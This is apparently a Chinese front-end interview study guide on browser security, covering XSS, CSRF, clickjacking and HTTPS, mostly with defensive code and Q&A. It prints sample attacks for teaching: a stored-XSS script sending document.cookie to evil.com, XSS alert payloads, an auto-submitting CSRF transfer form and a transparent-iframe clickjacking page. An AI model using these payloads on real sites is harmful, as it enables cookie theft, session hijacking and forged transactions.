浏览器安全
问题
常见的 Web 安全攻击有哪些?如何防御 XSS 和 CSRF 攻击?
答案
Web 安全主要涉及以下攻击类型:
| 攻击类型 | 全称 | 危害 |
|---|---|---|
| XSS | 跨站脚本攻击 | 窃取用户数据、劫持会话 |
| CSRF | 跨站请求伪造 | 冒充用户执行操作 |
| 点击劫持 | Clickjacking | 诱导用户误操作 |
| 中间人攻击 | MITM | 窃取、篡改通信数据 |
XSS(跨站脚本攻击)
XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到网页中,在用户浏览时执行。
XSS 类型
存储型 XSS(持久型)
恶意脚本被存储在服务器数据库中:
// 攻击者在评论区提交
const maliciousComment = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>';
// 服务端未过滤直接存储
db.comments.insert({ content: maliciousComment });
// 其他用户访问时,脚本被执行
// 用户的 Cookie 被发送到攻击者服务器
反射型 XSS(非持久型)
恶意脚本在 URL 参数中,服务端返回时包含:
// 攻击者构造恶意链接
// https://example.com/search?q=<script>alert('XSS')</script>
// 服务端直接将参数插入 HTML
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ 危险:直接插入用户输入
res.send(`<h1>搜索结果: ${query}</h1>`);
});
DOM 型 XSS
前端 JavaScript 直接操作 DOM,不经过服务端:
// 攻击者构造恶意链接
// https://example.com/page#<img src=x onerror=alert('XSS')>
// 前端代码直接使用 hash
const hash = location.hash.slice(1);
// ❌ 危险:直接插入 HTML
document.getElementById('content').innerHTML = decodeURIComponent(hash);
XSS 防御措施
1. 输出编码(最重要)
// HTML 实体编码
function escapeHtml(str: string): string {
const escapeMap: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
};
return str.replace(/[&<>"'/]/g, char => escapeMap[char]);
}
// 使用
const userInput = '<script>alert("XSS")</script>';
element.innerHTML = escapeHtml(userInput);
// 输出: <script>alert("XSS")</script>
2. 使用安全的 API
// ❌ 危险的 API
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
// ✅ 安全的 API
element.textContent = userInput; // 自动编码
element.innerText = userInput;
// React 默认安全
return <div>{userInput}</div>; // 自动转义
// 如果确实需要 HTML
return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />;
3. CSP(内容安全策略)
<!-- HTTP 响应头 -->
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
<!-- 或 meta 标签 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
| CSP 指令 | 说明 |
|---|---|
default-src | 默认策略 |
script-src | JavaScript 来源 |
style-src | CSS 来源 |
img-src | 图片来源 |
connect-src | AJAX/WebSocket 来源 |
frame-src | iframe 来源 |
'self' | 同源 |
'none' | 禁止 |
'unsafe-inline' | 允许内联(不推荐) |
'nonce-xxx' | 指定 nonce 的脚本 |
4. HttpOnly Cookie
// 设置 HttpOnly,JavaScript 无法读取
res.cookie('session', token, {
httpOnly: true, // 防止 XSS 窃取
secure: true, // 仅 HTTPS
sameSite: 'strict', // 防止 CSRF
});
5. 输入验证和过滤
import DOMPurify from 'dompurify';
// 使用 DOMPurify 清理 HTML
const dirty = '<script>alert("XSS")</script><p>Hello</p>';
const clean = DOMPurify.sanitize(dirty);
// 结果: <p>Hello</p>
// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title'],
});
CSRF(跨站请求伪造)
CSRF(Cross-Site Request Forgery)是指攻击者诱导用户访问恶意页面,利用用户的登录状态发送请求。
CSRF 攻击原理
<!-- 恶意网站的页面 -->
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
</body>
CSRF 防御措施
1. CSRF Token
// 服务端生成 Token
app.get('/form', (req, res) => {
const csrfToken = crypto.randomUUID();
req.session.csrfToken = csrfToken;
res.send(`
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="${csrfToken}" />
<input type="text" name="amount" />
<button type="submit">转账</button>
</form>
`);
});
// 服务端验证 Token
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF token invalid');
}
// 处理请求
});
2. SameSite Cookie
// 设置 SameSite 属性
res.cookie('session', token, {
sameSite: 'strict', // 最严格,跨站请求不发送 Cookie
// sameSite: 'lax', // 宽松,导航到目标网站的 GET 请求会发送
// sameSite: 'none', // 无限制,需要配合 Secure
secure: true,
httpOnly: true,
});
| SameSite 值 | 说明 |
|---|---|
Strict | 完全禁止跨站发送 Cookie |
Lax | 允许导航的 GET 请求(默认值) |
None | 允许跨站,需要 Secure |
3. 验证 Referer/Origin
app.post('/api/transfer', (req, res) => {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://bank.com'];
if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
return res.status(403).send('Invalid origin');
}
// 处理请求
});
4. 双重 Cookie 验证
// 前端:同时在 Cookie 和请求头中发送 Token
const csrfToken = getCookie('csrf-token');
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken, // 请求头
},
credentials: 'include', // Cookie 也会发送
});
// 服务端:比较两者是否一致
app.post('/api/transfer', (req, res) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).send('CSRF validation failed');
}
// 处理请求
});
点击劫持(Clickjacking)
攻击者通过透明 iframe 覆盖在正常页面上,诱导用户点击。
攻击原理
<!-- 攻击者网站 -->
<style>
.overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 透明 */
z-index: 999;
}
</style>
<!-- 透明的 iframe 覆盖在按钮上 -->
<iframe class="overlay" src="https://bank.com/transfer?to=attacker"></iframe>
<button>点击领取奖品</button>
防御措施
1. X-Frame-Options
// 禁止被嵌入 iframe
res.setHeader('X-Frame-Options', 'DENY');
// 只允许同源嵌入
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
// 允许指定来源(已废弃)
res.setHeader('X-Frame-Options', 'ALLOW-FROM https://example.com');
2. CSP frame-ancestors
// 更灵活的控制(推荐)
res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
res.setHeader('Content-Security-Policy', "frame-ancestors https://example.com");
3. JavaScript 检测
// 检测是否被嵌入 iframe
if (window.top !== window.self) {
// 被嵌入了,可以:
// 1. 跳出 iframe
window.top.location = window.self.location;
// 2. 或隐藏内容
document.body.style.display = 'none';
}
HTTPS 与中间人攻击
中间人攻击(MITM)
HTTPS 防护
HSTS(HTTP 严格传输安全)
// 强制使用 HTTPS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
| 参数 | 说明 |
|---|---|
max-age | 记住 HTTPS 的时间(秒) |
includeSubDomains | 包含子域名 |
preload | 允许加入浏览器预加载列表 |
安全最佳实践
// 综合安全响应头配置
function setSecurityHeaders(res: Response) {
// 防止 XSS
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-XSS-Protection', '1; mode=block');
// 防止点击劫持
res.setHeader('X-Frame-Options', 'DENY');
// 强制 HTTPS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
// 控制 Referer
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// 禁用危险功能
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()');
}
常见面试问题
Q1: XSS 和 CSRF 有什么区别?
答案:
| 特性 | XSS | CSRF |
|---|---|---|
| 攻击方式 | 注入恶意脚本 | 伪造用户请求 |
| 攻击目标 | 用户浏览器 | 服务器 |
| 利用的是 | 用户对网站的信任 | 网站对用户的信任 |
| 是否需要登录 | 不需要 | 需要(利用登录状态) |
| 能做什么 | 任意 JS 能做的事 | 只能发送请求 |
简单记忆:
- XSS:攻击者的代码在你的网站执行
- CSRF:攻击者让你帮他发请求
Q2: 如何防御 XSS 攻击?
答案:
- 输出编码:对用户输入进行 HTML 实体编码
// 将 < > " ' 等转义
escapeHtml(userInput);
- 使用安全 API:
element.textContent = userInput; // 不是 innerHTML
- CSP(内容安全策略):
Content-Security-Policy: default-src 'self'; script-src 'self'
- HttpOnly Cookie:防止脚本读取 Cookie
Q3: CSRF Token 为什么能防御 CSRF?
答案:
CSRF 攻击成功的前提是攻击者能预测请求的所有参数。
CSRF Token 的原理:
- 服务端生成随机 Token,存在 session 中
- 表单中包含这个 Token
- 提交时验证 Token 是否匹配
攻击者无法获取 Token,因为:
- Token 是随机的,无法预测
- 同源策略阻止攻击者读取目标网站的页面内容
Q4: SameSite Cookie 的三个值有什么区别?
答案:
| 值 | 说明 | 使用场景 |
|---|---|---|
Strict | 完全禁止跨站发送 | 最安全,可能影响用户体验 |
Lax | 导航 GET 请求允许 | 默认值,平衡安全和体验 |
None | 允许跨站 | 第三方 Cookie,需要 Secure |
// Lax 允许的情况
// 用户点击链接跳转:Cookie 发送
// 表单 GET 提交:Cookie 发送
// iframe 加载:Cookie 不发送
// AJAX 请求:Cookie 不发送
// 图片加载:Cookie 不发送
Q5: CSP 是什么?有什么作用?
答案:
CSP(Content Security Policy,内容安全策略)是一种白名单机制,告诉浏览器哪些资源可以加载和执行。
作用:
- 防止 XSS 攻击(禁止内联脚本、限制脚本来源)
- 防止数据注入攻击
- 防止恶意资源加载
Content-Security-Policy:
default-src 'self'; # 默认只允许同源
script-src 'self' 'nonce-xxx'; # 脚本需要 nonce
style-src 'self' 'unsafe-inline'; # 允许内联样式
img-src 'self' data: https:; # 图片允许 data: 和 https
Q6: CSP(Content Security Policy)是什么?如何配置?
答案:
CSP(内容安全策略)是一种白名单安全机制,通过 HTTP 响应头或 <meta> 标签告诉浏览器哪些来源的资源可以加载和执行,从而有效防御 XSS 和数据注入攻击。
配置方式:
// 方式 1:HTTP 响应头(推荐)
// Express / Koa 中间件
function cspMiddleware(req: any, res: any, next: () => void): void {
res.setHeader('Content-Security-Policy', [
"default-src 'self'", // 默认只允许同源
"script-src 'self' 'nonce-abc123' https://cdn.example.com", // 脚本来源
"style-src 'self' 'unsafe-inline'", // 样式来源(允许内联样式)
"img-src 'self' data: https:", // 图片来源
"font-src 'self' https://fonts.gstatic.com", // 字体来源
"connect-src 'self' https://api.example.com", // AJAX/WebSocket 来源
"frame-ancestors 'none'", // 禁止被嵌入 iframe
"report-uri /csp-report", // 违规上报地址
].join('; '));
next();
}
<!-- 方式 2:meta 标签(无法使用 frame-ancestors 和 report-uri) -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-abc123'">
常用指令一览:
| 指令 | 说明 | 示例 |
|---|---|---|
default-src | 其他指令的后备策略 | 'self' |
script-src | JavaScript 来源 | 'self' 'nonce-xxx' |
style-src | CSS 来源 | 'self' 'unsafe-inline' |
img-src | 图片来源 | 'self' data: https: |
connect-src | AJAX/Fetch/WebSocket | 'self' https://api.com |
font-src | 字体文件来源 | 'self' https://fonts.com |
frame-src | iframe 加载的来源 | 'self' |
frame-ancestors | 谁可以嵌入本页面 | 'none' |
report-uri | 违规上报地址 | /csp-report |
使用 nonce 和 hash 允许特定内联脚本:
// nonce 方式:每次请求生成唯一随机值
import crypto from 'crypto';
function generateNonce(): string {
return crypto.randomBytes(16).toString('base64');
}
app.get('/', (req, res) => {
const nonce = generateNonce();
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);
res.send(`
<html>
<!-- 只有带正确 nonce 的脚本才能执行 -->
<script nonce="${nonce}">console.log('允许执行')</script>
<script>console.log('被阻止')</script>
</html>
`);
});
# hash 方式:允许内容哈希匹配的内联脚本
Content-Security-Policy: script-src 'sha256-base64编码的哈希值'
开发阶段可使用 Content-Security-Policy-Report-Only 头部,只上报不拦截,方便逐步完善策略:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Q7: 如何防止点击劫持?X-Frame-Options 和 CSP frame-ancestors 的区别?
答案:
点击劫持(Clickjacking)是指攻击者通过透明的 iframe 覆盖在诱导页面上,让用户在不知情的情况下点击隐藏的目标页面按钮。
防御方案有三种:
1. X-Frame-Options(传统方案)
// DENY:完全禁止被嵌入任何 iframe
res.setHeader('X-Frame-Options', 'DENY');
// SAMEORIGIN:只允许同源页面嵌入
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
// ALLOW-FROM:允许指定来源(已废弃,很多浏览器不支持)
res.setHeader('X-Frame-Options', 'ALLOW-FROM https://trusted.com');
2. CSP frame-ancestors(推荐方案)
// 禁止被嵌入
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
// 只允许同源
res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
// 允许多个指定来源(X-Frame-Options 做不到!)
res.setHeader('Content-Security-Policy', "frame-ancestors 'self' https://trusted.com https://partner.com");
两者对比:
| 特性 | X-Frame-Options | CSP frame-ancestors |
|---|---|---|
| 多来源支持 | 不支持(ALLOW-FROM 只能一个且已废弃) | 支持多个来源 |
| 通配符支持 | 不支持 | 支持(如 https://*.example.com) |
| 浏览器支持 | 所有浏览器 | 现代浏览器(IE 不支持) |
| 优先级 | 低 | 高(CSP 会覆盖 X-Frame-Options) |
| 标准状态 | 非标准(但广泛支持) | W3C 标准 |
建议同时设置两个头部,兼顾现代浏览器和旧浏览器:
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
3. JavaScript 防御(兜底方案)
// 检测是否被嵌入 iframe
if (window.top !== window.self) {
// 方案 A:跳出 iframe
if (window.top) {
window.top.location = window.self.location;
}
}
// 更健壮的方案:默认隐藏页面,确认安全后再显示
// HTML: <body style="display:none">
if (window.self === window.top) {
document.body.style.display = 'block';
} else {
// 被嵌入了,跳转到顶层
if (window.top) {
window.top.location = window.self.location;
}
}
JavaScript 防御方案不够可靠,攻击者可以通过 sandbox 属性禁用 iframe 中的 JS。HTTP 头部方案才是根本解决办法。
Q8: HTTPS 的工作原理?为什么 HTTPS 能防止中间人攻击?
答案:
HTTPS = HTTP + TLS(Transport Layer Security)。TLS 通过非对称加密 + 对称加密的混合方案实现安全通信。
TLS 握手流程(以 TLS 1.2 为例):
核心安全机制:
// 伪代码说明 TLS 的加密层次
// 1. 非对称加密(RSA/ECDSA):用于密钥交换和身份验证
// 特点:公钥加密,私钥解密;计算慢,只用于握手阶段
const preMasterSecret = rsaEncrypt(serverPublicKey, randomBytes(48));
// 2. 对称加密(AES-256-GCM):用于数据传输
// 特点:加解密用同一个密钥;计算快,用于后续所有通信
const masterSecret = prf(preMasterSecret, clientRandom, serverRandom);
const encryptedData = aesEncrypt(masterSecret, plaintext);
// 3. 消息认证码(HMAC):防止数据被篡改
const mac = hmac(masterSecret, encryptedData);
为什么能防止中间人攻击?三层防护:
| 防护层 | 机制 | 防御什么 |
|---|---|---|
| 身份认证 | CA 证书链验证 | 防止攻击者冒充服务器 |
| 数据加密 | 对称加密(AES) | 防止窃听通信内容 |
| 数据完整性 | HMAC 消息认证 | 防止篡改通信数据 |
// 证书验证的过程
// 1. 服务器发送证书链:服务器证书 → 中间 CA 证书 → 根 CA 证书
// 2. 客户端逐级验证签名
// 3. 检查根 CA 是否在系统信任列表中
// 4. 检查证书域名是否匹配
// 5. 检查证书是否过期
// 6. 检查证书是否被吊销(CRL/OCSP)
// 如果攻击者伪造证书:
// - 没有 CA 的私钥,无法生成合法签名
// - 客户端验证签名失败,连接被终止
前向安全性(PFS,Perfect Forward Secrecy):
// 传统 RSA 密钥交换的风险:
// 如果服务器私钥泄露,历史通信都可被解密
// PFS 方案(ECDHE):每次连接使用临时密钥对
// 即使服务器长期私钥泄露,也无法解密历史通信
// TLS 1.3 强制使用 ECDHE,保证前向安全性
// 推荐的加密套件:
// TLS_AES_256_GCM_SHA384
// TLS_CHACHA20_POLY1305_SHA256
// Nginx 配置示例:启用强加密
const nginxSSLConfig = `
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
# HSTS:强制浏览器使用 HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
`;
TLS 1.3 相比 1.2 有显著改进:
- 握手更快:从 2-RTT 减少到 1-RTT(0-RTT 恢复)
- 更安全:移除了不安全的加密算法(RSA 密钥交换、RC4、SHA-1 等)
- 强制 PFS:所有密钥交换都使用 ECDHE
- 简化:加密套件从数十种精简到 5 种